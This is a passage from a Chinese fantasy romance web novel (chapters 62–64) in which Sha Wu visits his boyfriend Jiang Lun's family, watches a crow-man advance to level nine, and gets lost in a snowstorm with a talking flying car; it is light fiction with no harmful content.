大乌鸦扇了一下翅膀，驱散了白雾，身形一闪跳到了沙伍肩头，顺带还扯着笼罩自己的泡泡：“没错，我当然是个人。谁跟你似的？” 他话中的意思很明显，姜纶才不是人。 姜俣微笑：“好了，都待在外面干嘛，先进屋去。”他问姜纶，“你姐呢？” 姜纶说道：“不知道。把城里面的工作都丢给我，已经走了三天了。” 要不是被这些活搞得实在走不开，他早就去把小鲨鱼抓回来，或者干脆和小鲨鱼一起待在青龙城。 他嫌弃地看着赖在沙伍肩膀上的大乌鸦，再看看一脸茫然的沙伍，无奈叹气：“这家伙可不是小粉。” “肯定不是小粉啊。不是和院长差不多？”沙伍觉得大乌鸦给他的感觉，就是和院长那样可靠的对晚辈纵容的长辈。 嗯，比院长稳重。 院长还是太幼稚……太暴躁了。 “跟你们院长比，差得远。”姜俣伸手把大乌鸦抱走，放到自己肩膀上。 原本安安静静待在沙伍肩膀上的大乌鸦，变得有些焦躁和僵硬，想回到沙伍肩膀上去，又不敢，发出告饶的啊啊声。 姜俣在大乌鸦脑门上弹了一下：“闭上嘴。既然想当个人，就说人话。” 大乌鸦顿时唯唯诺诺：“好、好的。” 说完，他就把脑袋埋进翅膀里。 一行人回到室内，田书南和祁大厨已经合力准备好了丰盛的晚餐。 祁大厨见沙伍找阿大和阿二，说道：“他们两个出去玩了。” 忙了一整年，也该放假了。 梁伯说道：“大部分人都放假了。” 干他们这份工作，平时的个人时间很少。 也就是今年姜纶的状态比较稳定，他们才能放久一点，不然得随时待命。 阿大和阿二是孤儿，放假自由活动就好。 小风他们得回去和亲人团聚。 “哦。”沙伍先回房去换了家居服，才下楼一起吃饭。 等吃过饭，并没有沙伍想象中的一家人坐一起，姜俣和姚瑞云已经离开了。 沙伍洗完澡到客厅转了一圈，一个人都没有，问站在吊灯上的大乌鸦：“爸妈呢？” 大乌鸦依旧待在泡泡里，像个大号的灯泡，低头说道：“哦，他们关禁闭去了。” 他挪着爪子慢慢靠到沙伍头顶，展翅滑翔落到他肩膀上，用喙戳了戳沙伍的头发丝：“兄弟，帮忙套个盾。” 沙伍就给他再套了一层泡泡：“这样？” 大乌鸦的尾巴不安地摆了摆：“行叭。” “喵~”一直沉默蹲在沙伍另外一边肩膀上的小粉突然出声。 沙伍给小粉也套了个泡泡，想起下楼的另外一个原因，去厨房拿了一盘果切，插了一块蜜瓜，先问大乌鸦：“吃吗？” 大乌鸦咔咔两口。 沙伍又给他喂了一块西瓜：“你们鸟类的异能者，是不是都更喜欢保持觉醒体？” “唉……”大乌鸦坐在摇椅上晃来晃去，“别人我不知道。不是我想保持，我污染太重，回不到人类形态。” “咦？”沙伍偏过头闻了闻，“可是你身上没有污染的味道，是好闻的。” 他觉得大乌鸦身上的气味很熟悉，又想不起来是什么味道，反正闻着挺喜欢的。 大乌鸦哈哈哈笑：“你不是鲨鱼吗？怎么像小狗？污染能闻出来？” “能啊。我鼻子超灵的。异能、污染，我都闻得出来。”沙伍想到白虎学院的院长，“哦，也不是所有的都能闻出来。” 大部分九级的都闻不出来，除了他家钻石小少爷。 嗯，小少爷比较菜。 大乌鸦唉声叹气，跟着沙伍坐电梯回到17楼，跟着穿过长长的走廊，到宽阔的阳台休闲区。 布置精心的阳台温暖如春，舒适的双人秋千上摆放着沙伍今天捡回来的鸟窝。 大乌鸦自觉跳进鸟窝里，然后把鸟窝给拆了。 小粉跳过去，把散落在秋千上的树枝一根根扒拉下去。 大乌鸦就开始挑挑拣拣，一根一根搭建。 沙伍看着大乌鸦忙活：“你干嘛把窝给拆了再重新搭？” “自己的窝当然要自己搭。这窝鸟用的材料还可以，但是在建筑美学上跟我比还差得远。”大乌鸦忙忙碌碌，被小粉扒拉下来的树枝砸到脑袋也不生气，“你这个小孩儿有点讲究。跟你聊了两句，我都不想转变了。” “转变什么？”沙伍不解，见大乌鸦没空再吃水果，就对窝在旁边的小粉猫招招手，开始教它怎么咬，顺便做个示范。 蜜瓜好甜~ 西瓜好甜~ 嗯，他这是示范，不是自己想吃。 “我卡在八级很久了，想要晋升到九级，会面临两个选择。一个是维持人类的自我认知，一个是转变为真正的乌鸦。” 姜纶洗完澡出来，看到大乌鸦跟沙伍一起在荡秋千，显然心情不是很愉快，纠正他的说法：“你不是转变为乌鸦，你本来就有一多半是乌鸦。一个人类和变异乌鸦的实……结合产物。” 沙伍“理解”了，看向大乌鸦说道：“哦，那就是说晋升九级对你来说，是选择跟妈妈姓，还是跟爸爸姓？这也没什么好选的，不管跟爸爸还是妈妈，你都是你啊。” 他说完，见姜纶和大乌鸦都没说话，疑惑：“九级会更复杂？” 感觉跟姜纶这种类型差不多？ 虽然他不明白生殖隔离为什么会没有，但……九级例外论。 姜纶明显还没缓过神来：“你这样说的话，好像也没什么不对。” 沙伍说起自己知道的现实案例：“我就说嘛。我以前在孤儿院的时候，有个室友就是爸爸妈妈吵着孩子要跟自己姓，吵到最后同归于尽，硬生生把我那个室友变成了孤儿。我是完全不明白，姓什么有什么重要的，不一样是自己的孩子吗？ 姜纶你不跟妈妈姓，不一样是妈妈的孩子？你看你觉醒体都跟妈妈的一样。哦，颜色不一样。”是个黄毛，看着就是个坏小子。 姜纶觉得他说的有道理，又有哪里不对，但说不上来。 他想不出来，大乌鸦却想通了。 金色的火焰突然包裹住他，偏偏一点都没有点燃身边的其它东西。 白天因为一颗火系晶核差点被点燃，一直散发出一股烧糊味的鸟窝树枝都安然无恙。 沙伍愣在原地。 小粉都忘记了和西瓜缠斗，眼睛滚圆地趴在秋千上，往下盯着金色火焰。 姜俣和姚瑞云悄无声息地出现，把姜纶和小粉带走。 姜俣见姜纶想说话：“安静。” 姚瑞云看着坐在金色火焰旁边的沙伍，眼含笑意：“小伍是个好孩子。”一个运气不错的、奇怪的孩子。 她突然抬手重重揉了一把儿子的脑袋。 姜纶被揉得整个人往前跌：“干嘛？” 他已经是马上就要结婚的大人了，不可以再这样摸脑袋了！ 姚瑞云冷哼：“傻人有傻福。” 姜俣看着儿子，满眼嫌弃：“一点都不稳重。” 姜纶自我检讨三秒钟，最后还是把注意力放在沙伍身上：“小鲨鱼离得这么近，不会有事吧？”别被烤成小鱼干。 “能有什么事？” “蹭到一波晋升九级的能量，多难得。” 姜纶一听就满心不爽：“那怪物竟然也能晋升九级，啧。” 姜俣嘴角微微扬起，笑容中带着一丝玩味一丝恶意：“风阳羽在我们这里晋升九级，不是很好嘛？我那个好大伯一家知道了得疯。” 姜纶惊讶：“那老头还能疯？不是，他还活着？” 姚瑞云轻轻握了握姜俣的手：“你大伯都已经快成僵尸了，翻不出什么浪花来。”又对姜纶警告，“你好好学习，别跟着你爸胡闹。” “我有好好学。你不知道夜老师有多凶。”姜纶感觉自己已经很努力了，短短一个学期，他已经经历了一次蜕变，能够适当运用很少的一点异能，自主变成觉醒体并且保持一段时间，不会被污染。 以上任何一样，搁以前他都是不敢想象的。 一家三口就站在房间阳台外面的空中。 姜俣变出长长的蛇尾，让老婆儿子坐在上面。 阳台上像是另外一个世界。 金色火光中已经看不出大乌鸦的影子，像是一团纯粹的火焰。 沙伍看着看着，突然打了个哈欠，眼睛眯了起来。 困意一下袭来，他又打了个哈欠，生理性泪水从眼角滑落，几乎一下就回到了很小的时候。 他几乎已经不记得那个时候的事情了，或许是四岁五岁，也或许是更小的时候。 孤儿院的孩子们很多。 每到冬天，只要天气晴好，沙妈妈他们就会把一床床的被子拿出来晒。 孤儿院的建筑高层且密集，能够晒得到太阳的地方很有限。 室内的温度很低。 太阳晒过的被子温暖、柔软。 他喜欢躲在重重叠叠的被子里，被沙妈妈他们发现了，就说：“沙妈妈，我帮你翻被子。” 沙妈妈也不拆穿他：“好啊。” 冬天晒太阳真舒服啊。 他感觉自己像是躺在云朵上，鼻尖全是晒得暖融融的被子的香气。 “小伍，醒醒，收被子了。” 沙伍迷迷糊糊醒过来，入目的是清晨的第一缕阳光。 奇怪，不是下午？ 他下意识重新闭上眼睛，翻了个身想要赖床，却一下滚到了地上：“啊。” 粉色的花瓣铺了满地，柔软、芳香。 怎么回事？ 他这段时间睡大床，确实睡得睡相不好，但也因为是大床，没那么容易滚到地上。 他茫然地坐在地上，看着阳台外面有点亮起的天空。 明明还看不到阳光，他却感觉没有昨天那种灰蒙蒙的样子。 今天一定是个好天气吧？ 他刚这么想着，越过城市的尽头，一点火红色的光芒升起，然后平滑稳定地向上攀升，很快就变成了一轮红日。 沙伍慢吞吞站起来，伸了个懒腰，慢了不知道多少拍注意到爬满了阳台的粉色月季。 明明是寒冷的冬天，小猫的颜色都不那么粉，现在却开出了花瀑布。 “小粉？” 粉色月季迎着暖融的风微微摆动，传递出愉悦的气息，并没有喵一声的打算。 沙伍抬手想看看手环，发现昨天洗完澡后就没戴，下意识往房间里走，看看到底今天是什么时候，再想想今天到底要干什么。 是可以出门自由活动，还是在家里宅着，或者是姜爸爸姜妈妈那里会有什么安排，也可能是去瑞云实验室做个检查？ “应该没真的睡过了一个冬天吧？” 他要是敢错过开学报到，夜鹭能把他叨死。 他走了两步才发现不对，回头倒退回阳台上，看到秋千上空荡荡的鸟窝：“咦？” 他那么大一只乌鸦呢？ 他的新朋友去哪儿了？ 他停下脚步，在阳台上扫了一眼，又去看外面，突然看到有个人背光坐在阳台栏杆上，一副很好闻又很生气的样子。 “姜纶？” 姜纶一下就跳下了栏杆，快步走到沙伍身边，抬手就勾住他的脖子，把人往自己怀里按，咬牙切齿：“我那么大个人站在你面前，你愣是没看到！是不是不爱我了？” “爱爱爱！”沙伍赶紧拍拍他胸口，“松开松开，快闷死了！” 姜纶松开手：“你就骗我吧，我哪有压到你鼻子，怎么可能会闷？” 他和沙伍的身高差没那么夸张好嘛。 “啊——呜！”沙伍张大嘴，一口咬在姜纶脖子上。 小少爷瞬间就舒服了，眯起眼睛，发出不太好的声音，拉着沙伍往房间里走：“来，我们睡个回笼觉。” 沙伍咬着不松口，发出漏气一样的呼呲呼呲的笑声，突然看到远在天边的太阳飞快向他们砸过来，抬手猛拍姜纶肩膀：“卧槽！姜纶姜纶，太阳过来了！” 姜纶回头，差点翻了个白眼：“不是太阳，是冒牌乌鸦。” “什……”沙伍看着一轮“红日”落在阳台栏杆上。 红光散去，变成一只大乌鸦。 大乌鸦从栏杆往下一跳，像是一块抖落的黑绸。 一只手从中伸了出来，露出一个皮肤异常白的男人。 他穿着一身黑色滚着金边的袍子，披散一头犹如瀑布一样的长长的黑发。 男人近乎惨白肤色，让沙伍忽略了他极为英俊的长相。 男人问他：“你在想什么？” 沙伍下意识回答：“你是活的吗？是不是快要死了？”怎么可能有活人一丝血色都没有？ “噗。”姜纶笑出声。 风阳羽只是随意扫了姜纶一眼，露出一抹冷笑：“我只是寿命不足，你是脑子不足。” 姜纶瞬间对着风阳羽怒目而视：“你说谁脑子不足？” “说你啊，让力量左右的脑残。” 沙伍算是明白一点两人确实积怨已久，又暗搓搓想着小少爷确实容易被自身过于强大的力量影响，精神力不足以让他控制这么庞大的力量。 非得要说姜纶脑残的话，好像也挺对。 姜纶哪怕在跟风阳羽吵架，注意力还是一大半放在沙伍身上，注意到他的眼神，瞬间气炸：“脑子里在想什么？你是站哪边的？！” “你你你！”沙伍一叠声安抚，“我们都是水产养殖学院的，跟鸟没关系。” 很好，这个理由很有说服力。 姜纶冷哼了一声，算是接受了沙伍的解释，抬手挥挥：“你既然到九级了就赶紧滚，别赖在我家。” “怕是不行。我找堂哥有事情。”风阳羽说完，化作乌鸦飞远了。 沙伍没听懂：“堂哥？谁？” 姜纶撇撇嘴：“我爸。风阳羽……是我大伯用自己的基因和当年的九级变异太阳神鸟的基因结合，人为制造的后代。” 太阳神鸟，是一只拥有强大力量的变异生物，也是载入历史教科书的强大存在。 它比较特殊，是难得对人类比较友善的变异生物，最后是和另外一只对人类社会破坏力极大的九级变异生物同归于尽。 鉴于此，历史书上对太阳神鸟的评价比较正面。 “太阳神鸟这么帅的吗？”沙伍觉得自己不像是到老丈人家，是进入了神话世界。 姜纶更正他的说法：“太阳神鸟是九级变异生物。它跟太阳一样，高高在上，并不在意别的生灵，人类也好，别的变异生物也好，在它看来都是一样的。它只是不去刻意破坏而已。它最后死亡，也只是变异生物之间的抢地盘。” “那为什么历史书上把它写得这么好？”沙伍走回室内，从床头柜上拿起手环戴上，看了一眼时间，确定只是过去了一个晚上，并没有睡过一个冬天，松了一口气。 太好了，寒假作业还来得及。 哦，不。他现在没有寒假作业！ “或许是那个时代太绝望了。变异生物的成长速度远高于人类，人类对于力量的应用陌生且粗糙。掌握了力量的人类又急于颠覆旧有秩序。这时候出现一位‘站在人类一边’的九级变异生物，大概是真的能够让人看见希望。太阳神鸟，是当时很多人的精神图腾。”姜纶并没有经历过那个年代，只是他的父母和姐姐都是过来人，谈论起来的时候不免带上一些感慨。 沙伍的感觉就隔了一层，简单洗漱了一下，想了想又洗了个澡。 姜纶进浴室，摸了摸把脑袋搁在浴缸边上的小鲨鱼：“地下室有恒温泳池。虽然是淡水，也可以游两圈。” 小鲨鱼张嘴咬住姜纶的手，磨了两下牙齿，觉得过年缺颗门牙不好看，还是没试探现在牙齿的锋利程度，撤回一张血盆大口：“不用了。就是习惯早上去海里游一圈。” “那你泡一会儿就出来，我去给你拿衣服。” “哦。”小鲨鱼翻了个身，肚皮朝上。 姜纶没忍住，摸了摸小鲨鱼白白的肚皮。 小鲨鱼抬起尾巴就要拍水，想想水花对姜纶没什么杀伤力，还是撤回了一条尾巴。 “别这样躺着，压迫颈椎。” 小鲨鱼不听：“小鲨鱼没有脖子。” “小心别压到背鳍。” “哦。”这下小鲨鱼听话了，转了个身。 比起普通浴缸大得多的浴池，对小鲨鱼来说还是太小。 他处处碰壁（物理），没一会儿就出来换了衣服。 他皱着眉头解开最上面的衬衫扣子：“要出门？” “嗯。”姜纶抱着他轻轻摇了摇，勾着他的下巴抬起来，低头亲了亲，“陪我去上班？” 嗨呀~心爱的钻石向自己撒娇，这谁扛得住？ “好。” 然后沙伍就被带到了后土城的政府办公大楼。 这跟他想象中的上班不一样。 昨天沙伍看到的三名精英再次出现，跟姜纶汇报各种信息。 姜纶一上午见了各种各样的人，安排了各种各样的事。 沙伍一心二用，一边学习，一边好奇观察姜纶的工作。 等姜纶好不容易结束了上午的工作，对上沙伍圆溜溜的眼睛：“是不是很无聊？” 沙伍盯着他看了一会儿：“城主原来真的管事？” 第63章 消失的瘦命 “什么城主……”姜纶下意识反问一句，随即过去把沙伍从座位上抱起来，往上轻轻一抛，再接住。 沙伍莫名其妙被抛了几下，别别扭扭地抗拒：“撞天花板了！尊重一下我这一百多斤！” 万一被人进来看到，他伍哥的脸还要不要？ 想抛抛，回去抛啊。 姜纶看他亮晶晶的眼神就知道他是喜欢的，感觉小鲨鱼怎么看都超级可爱，抱住了好好亲了亲：“不是什么城主……主要是管理异能者。你知道绝大部分的中高阶异能者都是不归政府管的。” “嗯。”协助政府提供公共服务的，绝大多数都是低阶异能者，譬如沙妈妈在环卫局工作，还有一些在军警部门的。 这些部门连中阶异能者都很少，想要管理中高阶异能者，纯粹是有心无力。 而现在的各种人类武器，对中高阶异能者基本没有什么用——既提供不了战斗力，又无法对他们造成有效杀伤。 但是中高阶异能者平时又生活在城市中。 这种存在又没法管束的存在，单纯靠中高阶异能者的自我约束，显然是不切实际的。 “异能战士协会是一个相对松散的组织，更多的是给异能战士提供一个交易平台。我这边就是提供给中高阶异能战士，一个‘自我约束’的理由。”姜纶指了指墙上的世界地图，“现在所有的城市，都有一个及以上的九级坐镇。” “全世界有那么多九级？” 他原本以为一个城市就一个九级。 他们华夏五大城，就是五个九级，顶多再加上几个学院的院长。 沙伍看了看地图上的城市数量，感觉九级也不是很稀罕了。 这就跟他进入青龙学院后，发现大家都是异能者，学院的老师和专科医院的医生们都是高阶异能战士一样，哪怕明知道异能者在人类中的比例非常低，也有一种高阶满地走的错觉。 “不多，就那么些。一多半还不能随便动。”姜纶话说到这里就止住了，“等回去跟你细说。饿了吧，先去吃饭。下午你无聊的话，去四周逛逛？” 沙伍眼睛一亮：“今天能吃外食？” 姜纶看得好笑：“你这样祁叔要生气。” “哼哼哼。我现在身体好多了，他还不给我拓展食谱。”自从知道祁大厨是因为懒，才让他饮食清淡后，他叫起叔叔来都不是很热情了。 门外的秘书看到姜纶揽着沙伍的肩膀出门，两个人头挨着头说说笑笑，内心一声叹息。 没想到后土四少中最低调的姜纶竟然早早就名草有主了。 姜纶能够把人直接带到这里来，说明姜家已经都接纳了。 姜纶啊，哪怕没有异能，也多的是人想要跟他确定婚姻关系，甚至于没有婚姻也可以。 他在的这个位置，可太明白姜家是多么强大的存在。 沙伍和姜纶都不知道秘书怎么想，午饭吃了附近风评比较好的一家餐厅。 餐厅面向异能者，能够根据自身的等级选择相应的餐食。 姜纶对绝大部分食物都没有什么特别的感觉，等出了餐厅之后问沙伍：“怎么样？” 沙伍皱了皱鼻子：“没家里做的好吃。” 突然有一道声音说道：“等级低吃不到好的，就说餐厅做的不好吃。呵。” 两人顺着声音看过去，是几个年轻男女准备一起进餐厅，说话的是其中一个绿头发青年。 沙伍下意识看了看姜纶一头黄毛，问他：“你们后土城怎么跟朱雀城一样，头发都花里胡哨的。鸟也很多吗？” 姜纶下意识DISS：“还好吧。鸟也就那一段时间花哨，过了繁殖季之后，很多都变成秃子了。你知道的，就跟那只海豹一样。” “海豹是被我不小心……”主要是受伤。 在环秃海豹之前，他还从来没想过治疗异能并不能治疗损伤的毛。 他脑补了一下受伤的鸟，治疗过后是不是就是一只寒碜的光鸡？ “哈哈哈。”一脑补，他就笑出声，还把自己的想象分享给姜纶。 姜纶刚开始还一本正经给他科普：“倒也不是那么光。治疗过后，还是能够长出羽管的。”羽毛确实得依赖后续自然生长。 说着说着，他忍不住笑出来：“噗。不行了，我以后怎么面对鸭老师哈哈哈。” 两人说说笑笑走了，很快就消失在大楼之间密密麻麻的连廊中。 餐厅门口，几个年轻男女还放不下。 这还是他们第一次被人无视。 “那两个是谁？有人见过吗？” “挺嚣张的。新搬来后土城的吧？” “这长相要不是新搬来的，应该早就知道了。” “啊，确实帅。” “有可能是游客。” 几个人说着说着就变了味，等吃过午餐，一行人开始寻找姜纶和沙伍的踪迹。 本来他们以为想要找到两个外形特征那么明显的年轻人轻而易举，事实证明也确实轻而易举，只是跟他们想象中的方向不一样——他们的家长很快就发来了通讯，严厉训斥让他们不要惹是生非。 极端一点的，直接派了保镖过来，把人带走。 刚才还呼呼渣渣的一群人，瞬间各回各家，并且被关禁闭，很可能在姜纶和沙伍待在后土城的这段时间内，都不会被放出来。 沙伍完全不知道，在商场里转了一圈，感觉和青龙城的商场没什么区别后，就找出之前沙妈妈给的各种特色小店的攻略，开始按图索骥。 这段时间正是大学生游客数量激增的时候，他混杂在里面一点都不显眼，甚至还混进了一个临时的小团一起玩。 姜纶看到沙伍身边聚了一群人，一点都不意外：“可以回家了吗？” 他穿着一身正装，显得严肃且成熟，让一群学生瞬间安静下来。 有人问沙伍：“你叔叔来接你啊？” “叔？不是，他是我男朋友。”沙伍今天出门也是穿的正装，但这会儿外套已经换了一件轻便又颜色鲜艳的外袍，显然是下午逛街的战利品。 他们整个团都是穿着同款不同色的外袍，格外显眼。 姜纶听得一头黑线：“我还没这么老吧？” 他明明只比沙伍大两岁。 他们甚至还是同班同学！ “穿得成熟哈哈哈。”沙伍拍拍他胸口，转身对临时小伙伴们道别，“你们继续玩，我们先走了，拜拜。” 姜纶把飞车停在外面的停车场，没开进小巷里，伸手接过沙伍手上的袋子：“玩得开心？” “开心~我给你买了好多东西。”沙伍扯了扯身上的袍子，“跟我这个一起的，情侣装。” 姜纶顿时心情起飞，忙了一天的工作都不觉得累了。 然后等回家拆礼物的时候，他的东西就一点点，绝大多数的都是：“都是小粉的？！” “嘿。下午逛了个给觉醒体做衣服的服装店，里面刚好有小粉的尺寸。”粉粉的小裙子，亮闪闪的钉珠，背带裤，小帽子每一样看着都精致可爱，忍不住就剁手。 可惜姜纶的觉醒体太大了，没法打扮。 沙伍从衣帽间对着外面喊了一声：“小粉！” 小粉一声不喵。 沙伍以为小粉没听见，出去阳台上叫猫。 早上出门时候的满墙月季花已经消失不见。 沙伍找半天，才看到鸡爪槭下满盆的粉色毛毛。 沙伍看着花盆的大小，不是很确定地喊了一声：“小粉？” 粉团子弹出一个尖耳朵，又垂下一条尾巴，尾巴尖勾了勾，示意自己听到了。 沙伍叫上姜纶，靠近花盆。 花盆里，小粉终于把脑袋抬起来，眯着眼睛看着两人，张嘴打了个大大的哈欠，粗着嗓子：“喵。” 沙伍看着他可能还环抱不住的大花盆，想着自己两个拳头大的小猫咪，伸手摸了摸猫猫头，是熟悉的顺滑柔软带着点微凉的手感：“发生了神马事？” 小猫咪的瘦命这么短的吗？ 甚至一夜之间？ 姜纶伸手掐着小粉的后脖颈，把它从花盆里提溜出来，另一只手不得不托住它的屁股：“假乌鸦的异能是这样的。太阳能够促进万物生长。” 沙伍把小粉从姜纶手上接过，抱进自己怀里，感觉到沉甸甸的分量，语气发飘：“这……也太生长了。” 小粉发出呼噜噜的声音。 已经放假的薛春晚上回来了一趟，把小粉带走。 他看着前天离开的时候还是小粉咪子，现在已经变成的小粉半挂，看看沙伍和姜纶，感觉自己是个假木系：“那……我先走了？” 姜纶满脸不耐烦：“快走。” 打扰他和小鲨鱼的夜间双人活动。 沙伍压根没想到打扰不打扰的，趴在姜纶肩头，伸手伸脚像是搂住一只大娃娃：“双修双修。” 他得巩固自己的修为~ 姜纶感觉双修这个词语已经失去了某种粉红色，明明双修让他感觉到自己对异能的控制力与日俱增，但看着沙伍跟自己同床共枕偏又心无旁骛就觉得很不爽。 一觉醒来，又是一个莫名空虚的早晨。 垂死病中惊坐起，猛地一拍床，生气！ 沙伍的眼睛已经睁开了：“生什么气？”一大早的，什么都没发生啊。难道是做噩梦了？ “哼！”姜纶闹别扭，一脸快来哄哄我的表情。 沙伍不哄，还翻身重新睡回笼觉。 姜纶生气，重新扑回床上，闹到差点补上双修的下半段，把自己搞得气血上涌下涌乱七八糟涌，才用极大的意志力离开。 沙伍闻着空气中的香味，懒洋洋地送过去几条异能小鲨鱼：“客人，要提供净化服务吗？” “不要！区区污染算什么！”姜纶现在一点都不觉得污染难控制了。 果然没过多久，污染的香气就消失了。 异能小鲨鱼才吃了个半饱。 沙伍遗憾。 姜纶把自己收拾完，看沙伍竟然趴在床上又睡着了，仿佛就他单方面着火了一样，很不甘心地过去把他推……轻轻戳了一下脸：“不陪我一起上班？” 沙伍张嘴一口咬住他的手指，磨了两下牙才松开：“不去。我要在院子里逛逛。”看看能不能再捡个什么小动物。 “小粉不在，你自己一个人……”姜纶想想不太放心，找了一份地图给他，“你要是走远的话，可以试试走这条路线。” 沙伍听到手环的提示音，没有马上查看，等睡了个回笼觉醒过来，又去泳池里游了一圈回来，才看了看地图：“宝藏！” 终点位置竟然画了个宝箱的图标！ 这谁能忍得住？ 冲！ 沙伍这次有了目标，同样让小飞车跟随，自己走路锻炼。 虽然没有经过异能战士协会认证，但是他的异能据说已经一级了，应该能够做到自主控制30%的异能。 他试着释放一部分异能，不要像以前那样变成变异小鲨鱼释放出去，而是停留在体内，闭上眼睛感受异能在星河之间流淌，浸润他的身躯。 他没法仔细辨别自己究竟释放了多少百分比的异能，只觉得身体一下就变得轻盈，仿佛一瞬间回到了海洋中。 “哦吼！小车车，你跟不上我的！” 小飞车：“我的时速最高可达200km/h，小伍还需要加油哦！” “哦，好的。”沙伍在雪地里跑得飞快，“你能飞这么快？普通小飞车不是只能最快飞60？” 小飞车的额头屏上显示出微笑表情：“那是在城市人口密集区自动驾驶的限速，不是我的限速。我在无人区竭诚为您提供包括逃命在内的必要服务。” “在自家院子里转悠，还需要逃命？”沙伍一下没注意到一个斜坡，滑下去的时候来不及闪，张开双臂抱住一棵斜着长的大树，转了一圈再飞落下去，“呜呼！” 小飞车跟在他身边，遗憾地收回一个大抄网。 沙伍看到那个抄网就脑门冒黑线：“我不要进抄网！” 小飞车依旧微笑表情：“对不起，小伍你的权限没有小纶高。小纶说用抄网就用抄网。” “等小纶回来我就揍他，给你改程序。” 小飞车依旧情绪稳定：“小纶的实力比你强，你打不过他。” 沙伍抬脚踹在一棵树上，震下许多落雪，想要偷袭小飞车，结果没偷袭中：“你不懂人类的感情。” 小飞车承认：“我不懂。小伍的意思是可以用感情让你打赢小纶吗？” “对的。” “具体怎么操作？我这里的数据库显示人类情侣之间有各种互动模式，地点一般在床上……也不局限于床上。小伍是鲨鱼，你们交配是在水中还是……” “停！”沙伍涨红着脸，身体内的异能跟体温一样上升，跑起来跟飞一样。 “嘿！”和刚才只觉得身体轻盈不一样，再次提速后，他感觉控制力跟不上速度，像是整个身体被两条腿扯着向前冲。 他想要稍稍减速，但找不到“刹车”在哪里，要操控异能降低，同时要避免撞到树上……他这么跑密林里来了？ 这里的树怎么这么密？ 死脚，快闪开啊啊啊！ “嘭！” 沙伍使用了脸刹。 一人环抱的大树抖落满树的积雪，一大块一大块地落在沙伍身上，隔着帽子都觉得头顶凉飕飕的。 小飞车伸出机械臂戳戳他的后背：“小伍，需要网兜吗？” 沙伍把在树干上撞红的脸别开：“不用。” 脸疼。 他低头看被自己抱住的树干，上面清晰的脸的印子，心虚摸摸：“对不起，我不是故意撞你的。” 想不出有什么能够赔偿给大树的，他只能给大树罩了个泡泡。 松开双手双脚，落回地上，他打开手环查看地图：“没信号了。”问小飞车，“我们在哪儿？” 小飞车回答：“在院子里。” “我知道在院子里，究竟在院子的哪儿？” “不知道，连不上网络，请小伍自行判断。” “那你判断一下？” 小飞车：“我判断我们迷路了，哎嘿。” 哎嘿个头啊！ 好气！ 特喵的，他就不信离了小飞车他能找不到路！ 沙伍尝试爬树，得到失败+1+1+1…… 好像让鱼爬树确实不太行，没网络，连个爬树的教程都找不到。 他看了看，重新释放异能，这次没有提速太快，保持脚步轻盈地走到一处山坡顶上，拿着姜纶给自己的地图，对照着看。 地图上有山川河流，眼前有雪……和雪。 所在的山头太矮了，连来时的方向都被不断飘落的雪花掩埋。 沙伍倒是能分辨出来，有一种天生对方向感的敏锐，但是对照着地图依旧不清楚自己具体在哪里。 他戳了戳地图上一个山头：“我在这儿？”前往宝藏的大致方向没错，他往前再走一段看看，应该能看到一条河。 哪怕河冻上了，应该也不难看到，河道是很好的指向标记。 姜爸爸姜妈妈说是住在深山里，也不知道是住哪里，一点建筑物的影子都看不见。 哦，也可能是姜爸爸自己垒了一座山住进去，就跟瑞云实验室一样。 不会宝藏的位置，就是姜爸爸他们的住处吧？ 沙伍猜测，又觉得不太可能。 姜爸爸姜妈妈应该有很重要的事情，不然不会住这么近也很少出门。 既然很重要，那肯定不方便被打扰。 沙伍走到河边，还想观察一下河流的走向，好判断自己具体在哪个位置，突然一股狂风袭来，原本就跑得飞快的腿直接被吹离了地面。 小飞车稳稳用网兜把人兜住，带到一处背风处，才把沙伍放下，自动展开变成一个小房子：“下暴雪了呢。” 沙伍待在网兜里，已老实：“嗯。” “我们先在这儿休息一下吃个午饭，等暴雪停了再走吧？” “好的。” 今天和前天不一样。 前天虽然天气有点阴沉，但没下雪没刮大风。 扎营之后，沙伍套上个泡泡，还能安安稳稳待在外面活动。 现在他给小飞车套了两层泡泡，还觉得小飞车被风吹得有一种风雨飘摇的感觉。 他知道这是自己的错觉，但是看着窗外横着飞出去的风雪、树枝、整棵大树，忍不住抬手搓了搓脸皮。 保鲜柜里食物充足。 银耳莲子羹先热上。 平时吃着太甜，现在吃着刚刚好的桂花糖藕，很好地让心情慢慢恢复。 小飞车问他：“小伍，你就吃这些点心，不吃点饭菜吗？” “等会儿再吃。”沙伍给自己冲了一杯茶，抱着茶杯跪坐在窗边的卡座上，对着外面看，感觉自己的泡泡“啪”一声被风吹碎了。 他赶紧再给补了一个。 平时能够把大部分狂风过滤成温暖的微风的泡泡，这会儿被大风吹得快速变形，两层过滤达到的效果也不如平时的一层。 “我的泡泡用的是水系异能，主要成分还是水，在这种低温环境下，水的韧性不足，很容易被吹破。但是雪也是水的一种形态，我可不可以用雪来构筑一个泡泡？” 小飞车鼓励：“小伍可以试试哟~” 试试就试试。 用异能操控雪没有问题，把雪堆起来也没有问题。 把雪堆起来放在外面挡……嗖地一下就被风吹走了。 沙伍微微张嘴，低头喝了一口茶。 “再来！” 相比较液态的水，雪花的结构更加松散，如果堆得不够紧，很容易就被狂风吹散。 既然这样，他能不能把雪变成冰？ 大家都是水，应该不难吧？ 他把小飞车驻扎范围内的雪全都祸祸完，突然意识到：“不对，我这是假的水系异能！”他的异能是吞噬啊。 但是吞噬异能也可以转换成别的异能，他对于水系异能运用熟练。 他用泡泡快速从外面捕捉雪进来祸祸。 雪地里偶尔会有一些别的东西，像是植物种子啦，树叶枯草啦，小老鼠啦，小黄……大黄鼠狼啦。 沙伍一心学习，把这些雪地里不知道是死是活的小动物小植物统统丢到一边。 眼看着周围一大片已经露出了黑黢黢的地表，沙伍也觉得有些累了，重新回到小飞车里，准备再吃点东西，休息一下再战：“异能好难啊。” 小飞车把卡座变成一张单人床：“先休息一会儿吧。” 沙伍随便吃了点东西，看了看外面不见小的风雪，等醒过来的时候，发现天已经全黑了，看了看时间：“才三点多。” 他大概得等姜纶下班了才能被接回去吧？ “小车车，你能带我回去吗？”外面明明那么大的风雪，他怎么觉得有点干燥？很想待在水里泡上几个小时。 小飞车：“能。不过还是建议等风雪小一点了再返航，会更加安全。” “好吧。”沙伍暂时不想再练习异能，琢磨着干点什么打发时间，突然听到小飞车门被敲响。 第64章 野生小动物 冰天雪地，荒山雪岭，但是自家院子。 这时候听到敲门声，沙伍的第一反应是家里来人接了，语气轻快：“谁啊？” 这个时间，姜纶应该还没下班，应该是细心的梁伯不放心。 还是梁爸爸好~ “叽叽。” 明显不是人类的声音。 